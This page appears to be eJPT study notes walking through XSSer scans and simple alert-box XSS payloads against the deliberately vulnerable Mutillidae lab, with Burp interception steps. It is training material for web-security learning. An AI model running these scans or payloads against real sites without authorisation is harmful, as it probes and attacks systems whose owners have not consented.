> For the complete documentation index, see [llms.txt](https://106-sam.gitbook.io/ejptv2-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://106-sam.gitbook.io/ejptv2-notes/introduction-to-the-web-and-http-protocol/xss-attack-with-xsser.md).

# XSS Attack with XSSer

set it to OWASP 2017 -> Cross Site Scripting -> Reflected (First Order) -> DNS Lookup

* Enable FoxyProxy for BurpSuite and intercept the lookup request

#### XSSer 

XSSer is an automatic framework to detect, exploit and report XSS Vulnerabilities in web-based applications.

```
xsser --url "http://<IP>/<VulnerablePATH> -p "target_host=XSS&dns-lookup-php-submit-button=Lookup+DNS"
```

xsser --url "http\://\<IP>/index.php?page=dns-lookup.php" -p "target\_host=XSS\&dns-lookup-php-submit-button=Lookup+DNS"

* XSS is a variable same like adding $$ in burpusite's intruder
* To try out different payloads injection

```
xsser --url "http://<IP>/<VulnerablePATH> -p "target_host=XSS&dns-lookup-php-submit-button=Lookup+DNS" --auto
```

* To use custom payload

```
xsser --url "http://<IP>/<VulnerablePATH> -p "target_host=XSS&dns-lookup-php-submit-button=Lookup+DNS" -Fp "<script>alert(1)</script>"
```

take the successful payload with the vulnerable part of the request like the body

set it to OWASP 2017 -> Cross Site Scripting -> Reflected (First Order) -> Poll Questions

* turn on intercept and make a choice

```
xsser --url "http://<IP>/<VulnerablePATH>"
```

xsser --url "http\://\<IP>/index.php?page=user-poll.php\&csrf-token=\&choice=XSS\&initals=\&user-poll-php-submit-button=Submit+Vote"

```
xsser --url "http://<IP>/index.php?page=user-poll.php&csrf-token=&choice=XSS&initals=&user-poll-php-submit-button=Submit+Vote" --Fp <script>alert('Test')</script>
```

take the successful payload with the vulnerable part of the request like the header

{% embed url="<https://tools.kali.org/web-applications/xsser>" %}

{% embed url="<https://github.com/webpwnized/mutillidae>" %}